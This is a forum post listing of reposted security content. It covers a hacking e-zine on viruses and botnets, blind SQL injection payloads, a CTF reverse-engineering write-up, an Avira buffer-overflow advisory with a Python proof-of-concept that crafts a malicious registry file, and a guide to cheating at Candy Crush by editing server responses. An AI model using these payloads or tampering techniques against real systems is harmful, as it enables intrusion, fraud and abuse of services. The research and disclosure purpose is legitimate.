Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Anti - secimg.php ?
  2. Si Realitatea pulii: http://www.realitatea.net/un-roman-a-inventat-masina-de-facut-bani-cum-stoarce-legal-averi-din-banci_1320382.html
  3. Inception E-Zine #1 http://i.minus.com/iQ4CdoTgCXTr7.jpg #1 issue hacking e-zine <<Inception>>. Articles: 1.DLL Hijacking in antiviruses 2.About AV-checker 3.Miracle in a small back office 4.VX vs Commerce 5.Web security assessment planning 6.Polymorphic file virus BEETLE 7.The theory of building large p2p botnets 8.History of hacking 9.Self-rewriting executable code on LPC2388 10.Power in simplicity 11.Imported Code 12.Practical DNS-Amplification 13.Review of genetic algorithm for the example of guessing password by MD5-hash 14.Reflection: solution of "unconventional" tasks Members working on the e-zine: pr0mix Izg0y _sheva740 d3m Ar3s ALiEN Assault pest amdf FanOfGun rgb MZh XRipper KostaPC ProudPank valentin_p Versus71 aka HIMIKAT Attention: Folder <<sources>> detected AV. This not malware. It examples and source code for a better understanding of articles. They are completely safe for your PC. Download: EN: https://www.dropbox.com/s/9f1wrvpvzblcf25/inception_en.zip RU: https://www.dropbox.com/s/hm6b2pkj5ib8r38/inception_ru.zip Via: Inception E-Zine #1
  4. Advanced SQL Injection Presented By: Joe McCray joe - learnsecurityonline.com http://twitter.com/j0emccray Joe McCray | LinkedIn Step 1: Tell customer you are 31337 security professional Customers only applied patches if it fixed something on the system It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING -YOU MIGHT BREAK SOMETHING!!!!!) Step 2: Scan customer network with ISS or Nessus if you were a renegade Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports... Step 3: Break out your uber 31337 warez and 0wn it all!!!!! You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!! Download: [URL]https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf[/URL]
  5. Money-making machine cashes in on currency trades By Mark Ward Technology correspondent, BBC News Dr Furtuna built a machine to read security codes on bank authentication devices A money-making machine that exploits rounding errors in currency exchanges in favour of bank customers has been built by a security researcher. If left to run at its top speed, the device could generate almost 70 euros (£58) a day by carrying out thousands of small transactions. The device was built to test the security of online banking systems. However, said experts, banks' anti-fraud systems would probably prevent the machine cashing in. Tiny trades The device was created by Romanian security researcher Dr Adrian Furtuna, who noticed what happened when certain amounts of Romanian leu were exchanged for euros. These transactions were rounded up in a customer's favour so they ended up with cash worth slightly more than they started with. "The trick is that users can choose the amounts that they want to exchange such that the rounding will be always done in their favour," Dr Furtuna told the BBC. The amounts involved are so small, 0.005 of a euro, that thousands of transactions are needed to generate a significant amount of money. Dr Furtuna, who works for KPMG Romania as a security analyst, set out to see if banks' online currency trading systems were vulnerable to large scale exploitation of this rounding error. The machine was needed because many banks use authentication gadgets to secure online transactions. These devices typically generate a short sequence of numbers that must be entered alongside other credentials when moving or exchanging money online. He automated the sequence by building a machine that could press buttons on the security device and read the code it generated as part of the authentication process. The response rate of the device limited the number of transactions that could be carried out, Dr Furtuna told the BBC. At most, he said, it could carry out 14,400 transactions per day. This means, at most, it could generate about 68 euros per day if left to run unchallenged. So far the device has been only proven to work in the lab, as the bank that asked Dr Furtuna to test its security did not give him permission to try it against its live online banking system. Swapping Romanian leu for euros let the machine cash in Separate research had shown that the online systems of at least five banks in Romania might be vulnerable to the money-machine attack, he said. Other banks in other nations might also be susceptible, he added. "Banks believe that nobody can do a high number of transactions in a feasible time since each transaction requires to be signed using the [authentication] device," he said. "By building this machine I proved that this assumption is wrong and transactions can be automated with or without an [authenticator]." Tod Beardsley, a security engineer at Rapid7, said such "salami slicing" attacks were well known, having been depicted in films such as Superman III, Hackers and Office Space. "Salami slicing attacks are usually illegal, since they usually add up to some kind of bank or tax fraud, or run afoul of anti-money laundering laws," he added. Many banks avoided falling victim to such attacks by imposing a minimum transaction size that removed the fractional error, said Mr Beardsley. Penetration tester Charlie Svensson, from security firm Sentor, said banks' anti-fraud mechanisms would probably spot and stop anyone trying to carry out thousands of tiny trades all day, every day. "I have the feeling that he would not be the first to do this, but banks tend to take notice when money goes missing," he said. "If there's one thing that banks worry about, it's money." Sursa: BBC News - Money-making machine cashes in on currency trades Nota: Tipu' e aproape la fel de bun ca mine
  6. SQL Injection - Harder, Better, Faster, Stronger ## Retrieving ---- XXXX CASE (ASCII(substring((select @@version),1,1))&3) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC, CASE ((ASCII(substring((select @@version),1,1))&12)>>2) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC ## Retrieving XXXX ---- CASE ((ASCII(substring((select @@version),1,1))&48)>>4) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC, CASE ((ASCII(substring((select @@version),1,1))&192)>>6) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC Download: http://2011.ruxcon.org.au/assets/Presentations/2011-2/LNLJ-Harder_Better_Faster_Stronger_V1.0.pdf
  7. WINdows Packet CAPture. E driverul care se instaleaza cu Wireshark folosit pentru sniffing. Deci instaleaza Winpcap sau Wireshark.
  8. Firefox 25.0.1 - the security update that wasn't? by Paul Ducklin on November 16, 2013 Firefox just pushed out a minor browser update, bumping its version number from 25.0 to 25.0.1. I don't allow Firefox full autonomy over my updates, preferring to use the Check but let me choose option, so I was presented with a now-familiar popup to let me know what was on offer: A security and stability update for Firefox is available: Firefox 25.0.1. It is strongly recommended that you apply this update for Firefox as soon as possible. "There's not much point," I thought, "in using Let me choose if I don't do some reading first, even though I almost always decided to board the update train at once." The Release Notes reiterated the security-related importance of the update: FIXED - 25.0.1: New security fixes can be found here [link] And the Known Vulnerabilities page listed five critical, three high and two moderate security advisories: Eagle-eyed readers, however, will notice that these look very much like the bugs that were fixed in 25.0. In fact, they are the security fixes from 25.0, all of them listed as patched on 29 October 2013. A small mystery, to be sure, but not an encouraging one for users who like to read, learn and understand more about security patches before applying them. What happened? Perhaps there weren't actually any security fixes, but Mozilla's release boilerplate just assumed that there probably would be, and warned you anyway? Or perhaps there were security fixes, but Mozilla released the update and published all the boilerplate pages before updating the pages to which they link? ? Apple takes the latter course most of the time: you get a link to a generic security page (Apple's well-known landing page HT1222) that usually only gets updated later with the link you really want. Let's hope Mozilla hasn't copied Apple's often laboured and sluggish disclosure strategy. What to do? As you can probably guess, I just shrugged and boarded the train. The update was only 236KB, so there wasn't a lot to it, and everything seemed to work. Is this the way of the future? In a recent Chet Chat podcast, fellow Naked Security writer Chester Wisniewski asked that very same question, albeit in a slightly different way. Chet coined the term local cloud as a light-hearted way of describing applications that you install and run locally, but which might as well not have a version number because they just update automatically over the internet, on a schedule to suit themselves. In other words, local cloud applications are like cloud apps in the sense that "you get what you get," even though they load and run offline, and you don't need to run them in a browser. Google's Chrome is as good as there already; Apple's iOS and Mozilla's Firefox are getting pretty close. Android is as good as there, too, with the added confusion that different Google partners and providers push out their updates at wildly varying times. (Some Android devices never get the latest updates at all, sometimes leaving them vulnerable indefinitely, perhaps to enormous security holes). Sursa: Firefox 25.0.1 – the security update that wasn’t? | Naked Security
  9. [h=1]NcN 2013 CTF australia bin write up[/h] In this post I will cover the first binary challenge of the No Con Name 2013 CTF driven by the Facebook security team. The binary is available here This binary challenge is based on a i386 elf file which prompts for a flag: borja@PanoramaBar $ file ./derp ./derp: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=b77361bfdab4b30a5ed258ee173fe306184a4438, not stripped borja@PanoramaBar $ ./derp Facebook CTF Enter flag: asdasdasdasd Sorry, that is not correct. borja@PanoramaBar $ The first look at the binary: borja@PanoramaBar $ gdb -q ./derp Reading symbols from /home/borja/Desktop/NcN2013-CTF/derp...(no debugging symbols found)...done. gdb-peda$ pdisass main Dump of assembler code for function main: 0x080482d4 <+0>: push ebp 0x080482d5 <+1>: mov ebp,esp 0x080482d7 <+3>: and esp,0xfffffff0 0x080482da <+6>: sub esp,0x20 0x080482dd <+9>: call 0x80483fa <print_header> 0x080482e2 <+14>: mov eax,ds:0x80d1088 0x080482e7 <+19>: mov DWORD PTR [esp],eax 0x080482ea <+22>: call 0x804ffa0 <malloc> 0x080482ef <+27>: mov DWORD PTR [esp+0x1c],eax 0x080482f3 <+31>: cmp DWORD PTR [esp+0x1c],0x0 0x080482f8 <+36>: jne 0x8048329 <main+85> 0x080482fa <+38>: mov eax,ds:0x80d14c4 0x080482ff <+43>: mov DWORD PTR [esp+0xc],eax 0x08048303 <+47>: mov DWORD PTR [esp+0x8],0x1b 0x0804830b <+55>: mov DWORD PTR [esp+0x4],0x1 0x08048313 <+63>: mov DWORD PTR [esp],0x80b2265 0x0804831a <+70>: call 0x8049130 <fwrite> 0x0804831f <+75>: mov eax,0x1 0x08048324 <+80>: jmp 0x80483f8 <main+292> 0x08048329 <+85>: mov eax,ds:0x80d1088 0x0804832e <+90>: mov DWORD PTR [esp+0x8],eax 0x08048332 <+94>: mov DWORD PTR [esp+0x4],0x0 0x0804833a <+102>: mov eax,DWORD PTR [esp+0x1c] 0x0804833e <+106>: mov DWORD PTR [esp],eax 0x08048341 <+109>: call 0x80481a0 0x08048346 <+114>: mov edx,DWORD PTR ds:0x80d14bc 0x0804834c <+120>: mov eax,ds:0x80d1088 0x08048351 <+125>: sub eax,0x1 0x08048354 <+128>: mov DWORD PTR [esp+0x8],edx 0x08048358 <+132>: mov DWORD PTR [esp+0x4],eax 0x0804835c <+136>: mov eax,DWORD PTR [esp+0x1c] 0x08048360 <+140>: mov DWORD PTR [esp],eax 0x08048363 <+143>: call 0x8048fc0 <fgets> 0x08048368 <+148>: test eax,eax 0x0804836a <+150>: jne 0x80483a4 <main+208> 0x0804836c <+152>: mov eax,ds:0x80d14c4 0x08048371 <+157>: mov DWORD PTR [esp+0xc],eax 0x08048375 <+161>: mov DWORD PTR [esp+0x8],0x1b 0x0804837d <+169>: mov DWORD PTR [esp+0x4],0x1 0x08048385 <+177>: mov DWORD PTR [esp],0x80b2281 0x0804838c <+184>: call 0x8049130 <fwrite> 0x08048391 <+189>: mov eax,DWORD PTR [esp+0x1c] 0x08048395 <+193>: mov DWORD PTR [esp],eax 0x08048398 <+196>: call 0x804fee0 <free> 0x0804839d <+201>: mov eax,0x2 0x080483a2 <+206>: jmp 0x80483f8 <main+292> 0x080483a4 <+208>: mov eax,ds:0x80d1088 0x080483a9 <+213>: sub eax,0x2 0x080483ac <+216>: mov DWORD PTR [esp+0x4],eax 0x080483b0 <+220>: mov eax,DWORD PTR [esp+0x1c] 0x080483b4 <+224>: mov DWORD PTR [esp],eax 0x080483b7 <+227>: call 0x804841a <check_buffer> 0x080483bc <+232>: test eax,eax 0x080483be <+234>: jne 0x80483e7 <main+275> 0x080483c0 <+236>: mov eax,ds:0x80d14c4 0x080483c5 <+241>: mov DWORD PTR [esp+0xc],eax 0x080483c9 <+245>: mov DWORD PTR [esp+0x8],0x1c 0x080483d1 <+253>: mov DWORD PTR [esp+0x4],0x1 0x080483d9 <+261>: mov DWORD PTR [esp],0x80b229d 0x080483e0 <+268>: call 0x8049130 <fwrite> 0x080483e5 <+273>: jmp 0x80483f3 <main+287> 0x080483e7 <+275>: mov DWORD PTR [esp],0x80b22ba 0x080483ee <+282>: call 0x8049430 <puts> 0x080483f3 <+287>: mov eax,0x0 0x080483f8 <+292>: leave 0x080483f9 <+293>: ret End of assembler dump. gdb-peda$ The call to the function that will check the input buffer is located at 0x080483b7 0x080483b7 <+227>: call 0x804841a <check_buffer>Let’s what the function check_buffer does: gdb-peda$ pdisass check_buffer Dump of assembler code for function check_buffer: 0x0804841a <+0>: push ebp 0x0804841b <+1>: mov ebp,esp 0x0804841d <+3>: sub esp,0x10 0x08048420 <+6>: mov BYTE PTR [ebp-0x5],0x0 0x08048424 <+10>: mov BYTE PTR [ebp-0x6],0x0 0x08048428 <+14>: mov BYTE PTR [ebp-0x7],0x0 0x0804842c <+18>: mov DWORD PTR [ebp-0x4],0x0 0x08048433 <+25>: mov DWORD PTR [ebp-0xc],0xcd000000 0x0804843a <+32>: jmp 0x804849c <check_buffer+130> 0x0804843c <+34>: mov eax,DWORD PTR [ebp-0xc] 0x0804843f <+37>: shr eax,0x18 0x08048442 <+40>: mov BYTE PTR [ebp-0x7],al 0x08048445 <+43>: movzx eax,BYTE PTR [ebp-0x7] 0x08048449 <+47>: and eax,0xf 0x0804844c <+50>: mov BYTE PTR [ebp-0x5],al 0x0804844f <+53>: movzx eax,BYTE PTR [ebp-0x7] 0x08048453 <+57>: and eax,0xfffffff0 0x08048456 <+60>: mov BYTE PTR [ebp-0x6],al 0x08048459 <+63>: movzx eax,BYTE PTR [ebp-0x6] 0x0804845d <+67>: mov edx,eax 0x0804845f <+69>: shr dl,0x4 0x08048462 <+72>: movzx eax,BYTE PTR [ebp-0x5] 0x08048466 <+76>: shl eax,0x4 0x08048469 <+79>: add eax,edx 0x0804846b <+81>: mov BYTE PTR [ebp-0x7],al 0x0804846e <+84>: mov edx,DWORD PTR ds:0x80d1090 0x08048474 <+90>: mov eax,DWORD PTR [ebp-0x4] 0x08048477 <+93>: add eax,edx 0x08048479 <+95>: movzx edx,BYTE PTR [eax] 0x0804847c <+98>: mov eax,DWORD PTR [ebp-0x4] 0x0804847f <+101>: mov ecx,DWORD PTR [ebp+0x8] 0x08048482 <+104>: add eax,ecx 0x08048484 <+106>: movzx ecx,BYTE PTR [eax] 0x08048487 <+109>: movzx eax,BYTE PTR [ebp-0x7] 0x0804848b <+113>: xor eax,ecx 0x0804848d <+115>: cmp dl,al 0x0804848f <+117>: je 0x8048498 <check_buffer+126> 0x08048491 <+119>: mov eax,0x0 0x08048496 <+124>: jmp 0x80484a9 <check_buffer+143> 0x08048498 <+126>: add DWORD PTR [ebp-0x4],0x1 0x0804849c <+130>: mov eax,DWORD PTR [ebp-0x4] 0x0804849f <+133>: cmp eax,DWORD PTR [ebp+0xc] 0x080484a2 <+136>: jb 0x804843c <check_buffer+34> 0x080484a4 <+138>: mov eax,0x1 0x080484a9 <+143>: leave 0x080484aa <+144>: ret End of assembler dump. gdb-peda$ First, the function will set the local variables after the function prologue at 0×08048420. After that It jumps to 0x080484a2 to finally jump again to 0x804843c which is when the important part takes place: 0x0804841a <+0>: push ebp 0x0804841b <+1>: mov ebp,esp 0x0804841d <+3>: sub esp,0x10 0x08048420 <+6>: mov BYTE PTR [ebp-0x5],0x0 0x08048424 <+10>: mov BYTE PTR [ebp-0x6],0x0 0x08048428 <+14>: mov BYTE PTR [ebp-0x7],0x0 0x0804842c <+18>: mov DWORD PTR [ebp-0x4],0x0 0x08048433 <+25>: mov DWORD PTR [ebp-0xc],0xcd000000 0x0804843a <+32>: jmp 0x804849c <check_buffer+130> 0x0804849c <+130>: mov eax,DWORD PTR [ebp-0x4] 0x0804849f <+133>: cmp eax,DWORD PTR [ebp+0xc] 0x080484a2 <+136>: jb 0x804843c <check_buffer+34> Here, we can se some calculations over the registers eax,ecx and edx 0x0804843c <+34>: mov eax,DWORD PTR [ebp-0xc] 0x0804843f <+37>: shr eax,0x18 0x08048442 <+40>: mov BYTE PTR [ebp-0x7],al 0x08048445 <+43>: movzx eax,BYTE PTR [ebp-0x7] 0x08048449 <+47>: and eax,0xf 0x0804844c <+50>: mov BYTE PTR [ebp-0x5],al 0x0804844f <+53>: movzx eax,BYTE PTR [ebp-0x7] 0x08048453 <+57>: and eax,0xfffffff0 0x08048456 <+60>: mov BYTE PTR [ebp-0x6],al 0x08048459 <+63>: movzx eax,BYTE PTR [ebp-0x6] 0x0804845d <+67>: mov edx,eax 0x0804845f <+69>: shr dl,0x4 0x08048462 <+72>: movzx eax,BYTE PTR [ebp-0x5] 0x08048466 <+76>: shl eax,0x4 0x08048469 <+79>: add eax,edx 0x0804846b <+81>: mov BYTE PTR [ebp-0x7],al 0x0804846e <+84>: mov edx,DWORD PTR ds:0x80d1090 0x08048474 <+90>: mov eax,DWORD PTR [ebp-0x4] 0x08048477 <+93>: add eax,edx 0x08048479 <+95>: movzx edx,BYTE PTR [eax] 0x0804847c <+98>: mov eax,DWORD PTR [ebp-0x4] 0x0804847f <+101>: mov ecx,DWORD PTR [ebp+0x8] 0x08048482 <+104>: add eax,ecx 0x08048484 <+106>: movzx ecx,BYTE PTR [eax] 0x08048487 <+109>: movzx eax,BYTE PTR [ebp-0x7] 0x0804848b <+113>: xor eax,ecx 0x0804848d <+115>: cmp dl,al 0x0804848f <+117>: je 0x8048498 <check_buffer+126> Here follows the most important part of this dissasembled. The register ecx will contain the characters of the user’s input string. This value will get xored with eax and then compared to edx. If the input caracted contained in ecx equals to xor(eax,edx) the function will jump to the begining of the algorithm to repeat this check for every character of the string 0x0804848b <+113>: xor eax,ecx 0x0804848d <+115>: cmp dl,al 0x0804848f <+117>: je 0x8048498 <check_buffer+126> To calculate to correct value for the input string, It is needed to calculate the value of xor(eax,edx) every iteration. This can be easily achieved with the following gdb script: # 0x804848b <check_buffer+113>: xor eax,ecx # 0x804848d <check_buffer+115>: cmp dl,al # 0x804848f <check_buffer+117>: je 0x8048498 <check_buffer+126> break *0x804848b commands printf "%c", $edx ^ $eax continue end break *0x804848d commands set $eax = $edx continue end run quit The execution will look like the followin excerpt: borja@PanoramaBar $ echo | gdb -q -x au_derp.gdb ./au_derp Reading symbols from /home/borja/Desktop/NcN2013-CTF/australia/au_derp...(no debugging symbols found)...done. Breakpoint 1 at 0x804848b Breakpoint 2 at 0x804848d Facebook CTF 74c86bf89646425f647fcf7643af15f251b186bf58a6d5dc7eb8bf9cfc9d04cdEnter flag: Winner! Post your flag. [Inferior 1 (process 19655) exited normally] Warning: not running or target is remote Challenge solved! Sursa: NcN 2013 CTF australia bin write up | non-sleep thinking
  10. CVE-2013-6356: Avira Secure Backup v1.0.0.1 Buffer Overflow – Anatomy of a Vulnerability Hello Followers, Avira is one of the leading Anti-Virus vendors and also the biggest one in Germany. Security is their daily business and they’ve done a quite nice job in hardening their products. But even the toughest software may be broken sometimes . So, this time I’d like to present a common vulnerability with a really interesting (and uncommon) root cause. Quoted from my official Full-Disclosure post: A buffer overflow vulnerability has been identified in Avira Secure Backup v1.0.0.1 Build 3616. The application loads the values of the Registry Keys “AutoUpdateDownloadFilename” and “AutoUpdateProgressFilename” from “HKEY_CURRENT_USER\Software\Avira Secure Backup” on startup but does not properly validate the length of the fetched values before using them in the further application context, which leads to a buffer overflow condition with possible persistent code execution. The application queries the values via a RegQueryValueExW call and a fixed buffer pointer (lpData) and a fixed buffer size pointer (lpcbData). If the input string size is greater than the predefined size, the application uses a second RegQueryValueExW call with the new buffer size set to the length of the input string, but reuses the original buffer pointer (lpData), which has not been resized. This results in overwriting memory space inlcuding SEH – records. An attacker needs to force the victim to import an arbitrary .reg file in order to exploit the vulnerability. Successful exploits can allow attackers to execute arbitrary code with the privileges of the user running the application. Failed exploits will result in a denial-of-service condition. The attack scenario is persistent, because the code is executed as long as the manipulated values are loaded into the Registry. Crashing the application! To exploit this vulnerability, the following script creates an arbitrary .reg file, which needs to be imported into the target registry. #!/usr/bin/pythonfile="poc.reg" junk1="\xCC" * 1240 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\Avira Secure Backup]\n" poc=poc + "\"AutoUpdateProgressFilename\"=\"" + junk1 + "\"" try: print " [*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print " [*] File successfully created!"; except: print "[!] Error while creating file!"; Starting the application results in EIP control: via overwritten SEH records: Sounds like a boring strcpy() overflow ? After importing the arbitrary .reg file created by the Python script, the Call stack of the application looks like the following on crash-time: The last entry clearly shows that a return address has been overwritten by the PoC code indicating that the application flow might be controlled. The last call is a ntdll.memmove triggered somewhere from within the function at 0x0043F0D2. The complete vulnerable code part located at this address: 0043F0D2 /$ 55 PUSH EBP 0043F0D3 |. 8BEC MOV EBP,ESP 0043F0D5 |. 83EC 10 SUB ESP,10 0043F0D8 |. 53 PUSH EBX 0043F0D9 |. 56 PUSH ESI 0043F0DA |. 8B35 14704E00 MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyExW 0043F0E0 |. 57 PUSH EDI 0043F0E1 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F0E4 |. 50 PUSH EAX ; /pHandle 0043F0E5 |. 68 19000200 PUSH 20019 ; |Access 0043F0EA |. 33DB XOR EBX,EBX ; | 0043F0EC |. 53 PUSH EBX ; |Reserved => 0 0043F0ED |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Subkey 0043F0F0 |. 885D FF MOV BYTE PTR SS:[EBP-1],BL ; | 0043F0F3 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hKey 0043F0F6 |. C745 F4 200800>MOV DWORD PTR SS:[EBP-C],820 ; | 0043F0FD |. FFD6 CALL ESI ; \RegOpenKeyExW 0043F0FF |. 8B3D 10704E00 MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>; ADVAPI32.RegQueryValueExW 0043F105 |. 85C0 TEST EAX,EAX 0043F107 |. 75 2A JNZ SHORT Avira_Se.0043F133 0043F109 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0043F10C |. 50 PUSH EAX ; /pBufSize 0043F10D |. FF75 14 PUSH DWORD PTR SS:[EBP+14] ; |Buffer 0043F110 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] ; | 0043F113 |. 50 PUSH EAX ; |pValueType 0043F114 |. 53 PUSH EBX ; |Reserved => NULL 0043F115 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |ValueName 0043F118 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |hKey 0043F11B |. FFD7 CALL EDI ; \RegQueryValueExW 0043F11D |. 85C0 TEST EAX,EAX 0043F11F |. 75 04 JNZ SHORT Avira_Se.0043F125 0043F121 |. C645 FF 01 MOV BYTE PTR SS:[EBP-1],1 0043F125 |> FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F128 |. FF15 0C704E00 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey 0043F12E |. 385D FF CMP BYTE PTR SS:[EBP-1],BL 0043F131 |. 75 3B JNZ SHORT Avira_Se.0043F16E 0043F133 |> 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F136 |. 50 PUSH EAX 0043F137 |. 68 19010200 PUSH 20119 0043F13C |. 53 PUSH EBX 0043F13D |. FF75 0C PUSH DWORD PTR SS:[EBP+C] 0043F140 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] 0043F143 |. FFD6 CALL ESI 0043F145 |. 85C0 TEST EAX,EAX 0043F147 |. 75 25 JNZ SHORT Avira_Se.0043F16E 0043F149 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0043F14C |. 50 PUSH EAX 0043F14D |. FF75 14 PUSH DWORD PTR SS:[EBP+14] 0043F150 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 0043F153 |. 50 PUSH EAX 0043F154 |. 53 PUSH EBX 0043F155 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] 0043F158 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] 0043F15B |. FFD7 CALL EDI 0043F15D |. 85C0 TEST EAX,EAX 0043F15F |. 75 04 JNZ SHORT Avira_Se.0043F165 0043F161 |. C645 FF 01 MOV BYTE PTR SS:[EBP-1],1 0043F165 |> FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F168 |. FF15 0C704E00 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey 0043F16E |> 33C0 XOR EAX,EAX 0043F170 |. 385D FF CMP BYTE PTR SS:[EBP-1],BL 0043F173 |. 5F POP EDI 0043F174 |. 5E POP ESI 0043F175 |. 0F95C0 SETNE AL 0043F178 |. 5B POP EBX 0043F179 |. C9 LEAVE 0043F17A \. C3 RETN Looks like there is no common strcpy() … Hunting the Bug! The vulnerable code part needs to be divided into different parts: 0043F0D2 /$ 55 PUSH EBP 0043F0D3 |. 8BEC MOV EBP,ESP 0043F0D5 |. 83EC 10 SUB ESP,10 0043F0D8 |. 53 PUSH EBX 0043F0D9 |. 56 PUSH ESI 0043F0DA |. 8B35 14704E00 MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyExW 0043F0E0 |. 57 PUSH EDI 0043F0E1 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F0E4 |. 50 PUSH EAX ; /pHandle 0043F0E5 |. 68 19000200 PUSH 20019 ; |Access 0043F0EA |. 33DB XOR EBX,EBX ; | 0043F0EC |. 53 PUSH EBX ; |Reserved => 0 0043F0ED |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Subkey 0043F0F0 |. 885D FF MOV BYTE PTR SS:[EBP-1],BL ; | 0043F0F3 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hKey 0043F0F6 |. C745 F4 200800>MOV DWORD PTR SS:[EBP-C],820 ; | 0043F0FD |. FFD6 CALL ESI The first part queries the base key „HKEY_CURRENT_USER\Software\Avira Secure Backup“ using a CALL ESI (0x0043F0FD), which holds the function RegOpenKeyExW, that has been moved into ESI at 0x0043F0DA. The function arguments for the RegOpenKeyExW can be found on the stack: The second part queries the final values: 0043F0FF |. 8B3D 10704E00 MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>; ADVAPI32.RegQueryValueExW 0043F105 |. 85C0 TEST EAX,EAX 0043F107 |. 75 2A JNZ SHORT Avira_Se.0043F133 0043F109 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0043F10C |. 50 PUSH EAX ; /pBufSize 0043F10D |. FF75 14 PUSH DWORD PTR SS:[EBP+14] ; |Buffer 0043F110 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] ; | 0043F113 |. 50 PUSH EAX ; |pValueType 0043F114 |. 53 PUSH EBX ; |Reserved => NULL 0043F115 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |ValueName 0043F118 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |hKey 0043F11B |. FFD7 CALL EDI ; \RegQueryValueExW The function RegQueryValueExW is moved into EDI (0x0043F0FF) and later called (0x0043F11B) with the ValueName (first: “AutoUpdateProgressFilename” and in a second run “AutoUpdateDownloadFilename”) of the vulnerable key. The function arguments for the RegQueryValueExW call on the stack are: Let’s have a look at a basic RegQueryValueExW function call and its arguments (http://msdn.microsoft.com/en-us/library/windows/desktop/ms724911(v=vs.85).aspx) LONG WINAPI RegQueryValueEx( _In_ HKEY hKey, _In_opt_ LPCTSTR lpValueName, _Reserved_ LPDWORD lpReserved, _Out_opt_ LPDWORD lpType, _Out_opt_ LPBYTE lpData, _Inout_opt_ LPDWORD lpcbData ); Articol complet: https://www.rcesecurity.com/2013/11/cve-2013-6356-avira-secure-backup-v1-0-0-1-buffer-overflow-anatomy-of-a-vulnerability/
  11. [h=2]How To Crack SIP Authentication & Listen To VoIP Calls[/h][h=3]With Expert mile2 Instructor: Eric Deshetler[/h] [h=4]Hosted by Max Dalziel (Concise Courses CEO)[/h] [h=3]Learning Objectives and VoIP Skills![/h] Confidently exploit or prevent VoIP hacks Demonstrate your Wireshark expertise (and teach your skills to others members of your team) Protect your VoIP networks from malicious hackers Sursa: Learn How To Crack SIP Authentication & Listen To VoIP Calls | Hacking VoIP Skype
  12. [h=1]MIT Researchers Uncover Security Flaws in C and C++ Software[/h] MIT researchers have produced a new paper that uncovers security flaws in C and C++ software, which are generated by compiler optimizations that discard ambiguous code or code, which produces undefined behavior. Some of that code includes security-relevant checks and the paper includes examples of null pointer checks and pointer overflow checks that the GCC compiler optimizes away, leaving the resulting object code exploitable. More complex ambiguous code includes things like bit shift operations that operate one way on x86 and operate another way on different architectures such as ARM. The MIT team produced a new static source code checker named STACK that identifies such code, which they term "undefined behavior" and "unstable code." They researchers identified 32 bugs inside the Linux kernel, five in the Python programming language and nine in the Posgres DBMS. More worryingly, the team ran Stack against the Debian Linux archive, of which 8575 out of 17432 packages contained C/C++ code. For a whopping 3471 packages, STACK detected at least one instance of unstable code. The research paper can be found at: http://pdos.csail.mit.edu/~xi/papers/stack-sosp13.pdf
  13. Winning at Candy Crush I find Flash games on Facebook great fun. Not playing them, of course, that’s boring. As you may remember from my previous post, “winning at Puzzle Adventures“, I like to take a look into their guts and figure out how they work, and whether or not I can get insane scores with no effort. When I discovered Candy Crush Saga, I was intrigued. All my friends appeared mad about this game, sending me so many requests for candy that their dentist would surely commit harakiri. I started playing a bit, and it wasn’t long until I had to stop playing, since the game only allows you a set number of lives per hour in an attempt to either extract money from you or coax you into spamming your friends with requests for the game, to increase its popularity. Cheating at online games This, however, wouldn’t do, so I fired up the Swiss army knife of web debugging, Charles Proxy (it’s a fantastic tool for this job). I started looking at the requests the game was making to the server, and saw one that looked promising: http://candycrush.king.com/api/gameInitLight"currentUser": { "lives": 5, "maxLives": 5, } I added a breakpoint and edited lives to always be 5, which did allow me to play for ever, no matter how much I lost. Yay for non-existent server checks! This wasn’t great, though. Sure, I could play as much as I want, but I don’t want to play at all! I wanted to see if I could make the game much easier somehow. Looking some more, I found the call that loads the level, and the level details specify the number of colors to use on the level. Since the game is played by getting candy of one color to line up in a row, fewer colors means a considerably easier game. However, too few colors and the game won’t end at all! I discovered that four colors is the sweet spot, and edited the level accordingly: http://candycrush.king.com/api/gameStart{ "levelData":{ "numberOfColours":4, 